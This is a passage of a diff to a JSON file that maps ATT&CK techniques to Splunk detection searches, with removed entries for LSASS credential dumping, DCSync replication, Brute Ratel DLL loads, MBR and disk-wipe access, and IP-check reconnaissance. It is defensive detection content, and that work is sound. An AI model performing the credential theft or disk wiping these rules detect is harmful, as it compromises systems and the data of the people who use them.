Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Possible Credential Dumping", - "description": "The following analytic detects potential credential dumping by identifying specific GrantedAccess permission requests and CallTrace DLLs targeting the LSASS process. It leverages Sysmon EventCode 10 logs, focusing on access requests to lsass.exe and call traces involving debug and native API DLLs like dbgcore.dll, dbghelp.dll, and ntdll.dll. This activity is significant as credential dumping can lead to unauthorized access to sensitive credentials. If confirmed malicious, attackers could gain elevated privileges and persist within the environment, posing a severe security risk.", - "search": "`sysmon` EventCode=10 TargetImage=*\\\\lsass.exe granted_access IN (\"0x01000\", \"0x1010\", \"0x1038\", \"0x40\", \"0x1400\", \"0x1fffff\", \"0x1410\", \"0x143a\", \"0x1438\", \"0x1000\") CallTrace IN (\"*dbgcore.dll*\", \"*dbghelp.dll*\", \"*ntdll.dll*\", \"*kernelbase.dll*\", \"*kernel32.dll*\") NOT SourceUser IN (\"NT AUTHORITY\\\\SYSTEM\", \"NT AUTHORITY\\\\NETWORK SERVICE\") | stats count min(_time) as firstTime max(_time) as lastTime by dest, SourceImage, GrantedAccess, TargetImage, SourceProcessId, SourceUser, TargetUser | rename SourceUser as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_possible_credential_dumping_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA22-264A", - "CISA AA23-347A", - "Credential Dumping", - "DarkSide Ransomware", - "Detect Zerologon Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A process, $SourceImage$, has loaded $TargetImage$ that are typically related to credential dumping on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Post Exploitation Risk Behavior", - "description": "The following analytic identifies four or more distinct post-exploitation behaviors on a Windows system. It leverages data from the Risk data model in Splunk Enterprise Security, focusing on multiple risk events and their associated MITRE ATT&CK tactics and techniques. This activity is significant as it indicates potential malicious actions following an initial compromise, such as persistence, privilege escalation, or data exfiltration. If confirmed malicious, this behavior could allow attackers to maintain control, escalate privileges, and further exploit the compromised environment, leading to significant security breaches and data loss.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories IN (\"*Windows Post-Exploitation*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_post_exploitation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An increase of Windows Post Exploitation behavior has been detected on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1012", - "mitre_attack_technique": "Query Registry", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Fox Kitten", - "Kimsuky", - "Lazarus Group", - "OilRig", - "Stealth Falcon", - "Threat Group-3390", - "Turla", - "Volt Typhoon", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1115", - "mitre_attack_technique": "Clipboard Data", - "mitre_attack_tactics": [ - "Collection" - ], - "mitre_attack_groups": [ - "APT38", - "APT39" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Remote Access Software BRC4 Loaded Dll", - "description": "The following analytic identifies the loading of four specific Windows DLLs (credui.dll, dbghelp.dll, samcli.dll, winhttp.dll) by a non-standard process. This detection leverages Sysmon EventCode 7 to monitor DLL load events and flags when all four DLLs are loaded within a short time frame. This activity is significant as it may indicate the presence of Brute Ratel C4, a sophisticated remote access tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could lead to unauthorized access, credential theft, and further compromise of the affected system.", - "search": "`sysmon` EventCode=7 |bin _time span=30s | eval BRC4_AnomalyLoadedDll=case(OriginalFileName==\"credui.dll\", 1, OriginalFileName==\"DBGHELP.DLL\", 1, OriginalFileName==\"SAMCLI.DLL\", 1, OriginalFileName==\"winhttp.dll\", 1, 1=1, 0) | eval BRC4_LoadedDllPath=case(match(ImageLoaded, \"credui.dll\"), 1, match(ImageLoaded, \"dbghelp.dll\"), 1, match(ImageLoaded, \"samcli.dll\"), 1, match(ImageLoaded, \"winhttp.dll\"), 1, 1=1, 0) | stats count min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) as ImageLoaded values(OriginalFileName) as OriginalFileName dc(ImageLoaded) as ImageLoadedCount by Image BRC4_LoadedDllPath BRC4_AnomalyLoadedDll dest EventCode Signed | where ImageLoadedCount == 4 AND (BRC4_LoadedDllPath == 1 OR BRC4_AnomalyLoadedDll == 1) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_remote_access_software_brc4_loaded_dll_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ loaded several modules $ImageLoaded$ that might related to credential access on $dest$.", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1219", - "mitre_attack_technique": "Remote Access Software", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "Akira", - "Carbanak", - "Cobalt Group", - "DarkVishnya", - "Evilnum", - "FIN7", - "GOLD SOUTHFIELD", - "Kimsuky", - "MuddyWater", - "Mustang Panda", - "RTM", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Thrip" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows AD Replication Service Traffic", - "description": "The following analytic identifies unexpected Active Directory replication traffic from non-domain controller sources. It leverages data from the Network Traffic datamodel, specifically looking for applications related to AD replication. This activity is significant because AD replication traffic should typically only occur between domain controllers. Detection of such traffic from other sources may indicate malicious activities like DCSync or DCShadow, which are used for credential dumping. If confirmed malicious, this could allow attackers to exfiltrate sensitive credentials, leading to unauthorized access and potential domain-wide compromise.", - "search": "| tstats `security_content_summariesonly` count values(All_Traffic.transport) as transport values(All_Traffic.user) as user values(All_Traffic.src_category) as src_category values(All_Traffic.dest_category) as dest_category min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app IN (\"ms-dc-replication\",\"*drsr*\",\"ad drs\") by All_Traffic.src All_Traffic.dest All_Traffic.app | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `windows_ad_replication_service_traffic_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Active Directory Replication Traffic from Unknown Source - $src$", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -123244,50 +110178,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Windows Executable in Loaded Modules", - "description": "The following analytic identifies instances where executable files (.exe) are loaded as modules, detected through 'ImageLoaded' events in Sysmon logs. This method leverages Sysmon EventCode 7 to track unusual module loading behavior, which is significant as it deviates from the norm of loading .dll files. This activity is crucial for SOC monitoring because it can indicate the presence of malware like NjRAT, which uses this technique to load malicious modules. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, maintain persistence, and further compromise the host system.", - "search": "`sysmon` EventCode=7 ImageLoaded= *.exe | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded Signed SignatureStatus OriginalFileName process_name Computer EventCode ProcessId Hashes IMPHASH | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_executable_in_loaded_modules_filter`", - "tags": { - "analytic_story": [ - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An executable $ImageLoaded$ loaded by $Image$ on $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1129", - "mitre_attack_technique": "Shared Modules", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [] - } - ] - } - } + ] ], "external_reference": [ [ @@ -125367,131 +112258,6 @@ "references": [ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90009" ] - }, - { - "name": "Windows Raw Access To Disk Volume Partition", - "description": "The following analytic detects suspicious raw access reads to the device disk partition of a host machine. It leverages Sysmon EventCode 9 logs to identify processes attempting to read or write to the boot sector, excluding legitimate system processes. This activity is significant as it is commonly associated with destructive actions by adversaries, such as wiping, encrypting, or overwriting the boot sector, as seen in attacks involving malware like HermeticWiper. If confirmed malicious, this behavior could lead to severe impacts, including system inoperability, data loss, or compromised boot integrity.", - "search": "`sysmon` EventCode=9 Device = \\\\Device\\\\HarddiskVolume* NOT (Image IN(\"*\\\\Windows\\\\System32\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by dest signature signature_id process_guid process_name process_path Device | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_raw_access_to_disk_volume_partition_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-264A", - "Caddy Wiper", - "Data Destruction", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "NjRAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Process accessing disk partition $Device$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1561.002", - "mitre_attack_technique": "Disk Structure Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1561", - "mitre_attack_technique": "Disk Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Raw Access To Master Boot Record Drive", - "description": "The following analytic detects suspicious raw access reads to the drive containing the Master Boot Record (MBR). It leverages Sysmon EventCode 9 to identify processes attempting to read or write to the MBR sector, excluding legitimate system processes. This activity is significant because adversaries often target the MBR to wipe, encrypt, or overwrite it as part of their impact payload. If confirmed malicious, this could lead to system instability, data loss, or a complete system compromise, severely impacting the organization's operations.", - "search": "`sysmon` EventCode=9 Device = \\\\Device\\\\Harddisk0\\\\DR0 NOT (Image IN(\"*\\\\Windows\\\\System32\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer Image Device ProcessGuid ProcessId EventDescription EventCode | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_raw_access_to_master_boot_record_drive_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA22-264A", - "Caddy Wiper", - "Data Destruction", - "Graceful Wipe Out Attack", - "Hermetic Wiper", - "NjRAT", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "process accessing MBR $Device$ on $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1561.002", - "mitre_attack_technique": "Disk Structure Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group", - "Sandworm Team" - ] - }, - { - "mitre_attack_id": "T1561", - "mitre_attack_technique": "Disk Wipe", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -128264,123 +115030,6 @@ "platform": [ "PRE" ] - }, - { - "name": "Wermgr Process Connecting To IP Check Web Services", - "description": "The following analytic detects the wermgr.exe process attempting to connect to known IP check web services. It leverages Sysmon EventCode 22 to identify DNS queries made by wermgr.exe to specific IP check services. This activity is significant because wermgr.exe is typically used for Windows error reporting, and its connection to these services may indicate malicious code injection, often associated with malware like Trickbot. If confirmed malicious, this behavior could allow attackers to recon the infected machine's IP address, aiding in further exploitation and evasion tactics.", - "search": "`sysmon` EventCode =22 process_name = wermgr.exe QueryName IN (\"*wtfismyip.com\", \"*checkip.amazonaws.com\", \"*ipecho.net\", \"*ipinfo.io\", \"*api.ipify.org\", \"*icanhazip.com\", \"*ip.anysrc.com\",\"*api.ip.sb\", \"ident.me\", \"www.myexternalip.com\", \"*zen.spamhaus.org\", \"*cbl.abuseat.org\", \"*b.barracudacentral.org\",\"*dnsbl-1.uceprotect.net\", \"*spam.dnsbl.sorbs.net\") | stats min(_time) as firstTime max(_time) as lastTime count by Image process_name ProcessId QueryName QueryStatus QueryResults EventCode Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `wermgr_process_connecting_to_ip_check_web_services_filter`", - "tags": { - "analytic_story": [ - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Wermgr.exe process connecting IP location web services on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1590", - "mitre_attack_technique": "Gather Victim Network Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "HAFNIUM" - ] - }, - { - "mitre_attack_id": "T1590.005", - "mitre_attack_technique": "IP Addresses", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "Andariel", - "HAFNIUM", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Gather Victim Network Info Through Ip Check Web Services", - "description": "The following analytic detects processes attempting to connect to known IP check web services. This behavior is identified using Sysmon EventCode 22 logs, specifically monitoring DNS queries to services like \"wtfismyip.com\" and \"ipinfo.io\". This activity is significant as it is commonly used by malware, such as Trickbot, for reconnaissance to determine the infected machine's IP address. If confirmed malicious, this could allow attackers to gather network information, aiding in further attacks or lateral movement within the network.", - "search": "`sysmon` EventCode=22 QueryName IN (\"*wtfismyip.com\", \"*checkip.*\", \"*ipecho.net\", \"*ipinfo.io\", \"*api.ipify.org\", \"*icanhazip.com\", \"*ip.anysrc.com\",\"*api.ip.sb\", \"ident.me\", \"www.myexternalip.com\", \"*zen.spamhaus.org\", \"*cbl.abuseat.org\", \"*b.barracudacentral.org\", \"*dnsbl-1.uceprotect.net\", \"*spam.dnsbl.sorbs.net\", \"*iplogger.org*\", \"*ip-api.com*\", \"*geoip.*\") | stats min(_time) as firstTime max(_time) as lastTime count by Image ProcessId QueryName QueryStatus QueryResults EventCode Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_gather_victim_network_info_through_ip_check_web_services_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "DarkCrystal RAT", - "Phemedrone Stealer", - "Snake Keylogger" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Reconnaissance" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Process connecting IP location web services on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1590.005", - "mitre_attack_technique": "IP Addresses", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "Andariel", - "HAFNIUM", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1590", - "mitre_attack_technique": "Gather Victim Network Information", - "mitre_attack_tactics": [ - "Reconnaissance" - ], - "mitre_attack_groups": [ - "HAFNIUM" - ] - } - ] - } } ], "external_reference": [], @@ -129455,288 +116104,7 @@ "Event ID": null, "Event Name": "System calls" } - ], - { - "name": "Linux Kernel Module Enumeration", - "description": "The following analytic identifies the use of the 'kmod' process to list kernel modules on a Linux system. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. While listing kernel modules is not inherently malicious, it can be a precursor to loading unauthorized modules using 'insmod'. If confirmed malicious, this activity could allow an attacker to load kernel modules, potentially leading to privilege escalation, persistence, or other malicious actions within the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=kmod Processes.process IN (\"*lsmod*\", \"*list*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_kernel_module_enumeration_filter`", - "tags": { - "analytic_story": [ - "Linux Rootkit" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ enumeration kernel modules.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1014", - "mitre_attack_technique": "Rootkit", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Rocke", - "TeamTNT", - "Winnti Group" - ] - } - ] - } - }, - { - "name": "Windows Driver Load Non-Standard Path", - "description": "The following analytic detects the loading of new Kernel Mode Drivers from non-standard paths using Windows EventCode 7045. It identifies drivers not located in typical directories like Windows, Program Files, or SystemRoot. This activity is significant because adversaries may use these non-standard paths to load malicious or vulnerable drivers, potentially bypassing security controls. If confirmed malicious, this could allow attackers to execute code at the kernel level, escalate privileges, or maintain persistence within the environment, posing a severe threat to system integrity and security.", - "search": "`wineventlog_system` EventCode=7045 ServiceType=\"kernel mode driver\" NOT (ImagePath IN (\"*\\\\Windows\\\\*\", \"*\\\\Program File*\", \"*\\\\systemroot\\\\*\",\"%SystemRoot%*\", \"system32\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ImagePath ServiceName ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_driver_load_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "BlackByte Ransomware", - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A kernel mode driver was loaded from a non-standard path on $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1014", - "mitre_attack_technique": "Rootkit", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Rocke", - "TeamTNT", - "Winnti Group" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Drivers Loaded by Signature", - "description": "The following analytic identifies all drivers being loaded on Windows systems using Sysmon EventCode 6 (Driver Load). It leverages fields such as driver path, signature status, and hash to detect potentially suspicious drivers. This activity is significant for a SOC as malicious drivers can be used to gain kernel-level access, bypass security controls, or persist in the environment. If confirmed malicious, this activity could allow an attacker to execute arbitrary code with high privileges, leading to severe system compromise and potential data exfiltration.", - "search": "`sysmon` EventCode=6 | stats min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) count by dest Signed Signature service_signature_verified service_signature_exists Hashes | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_drivers_loaded_by_signature_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "BlackByte Ransomware", - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A driver has loaded on $dest$.", - "risk_score": 42, - "security_domain": 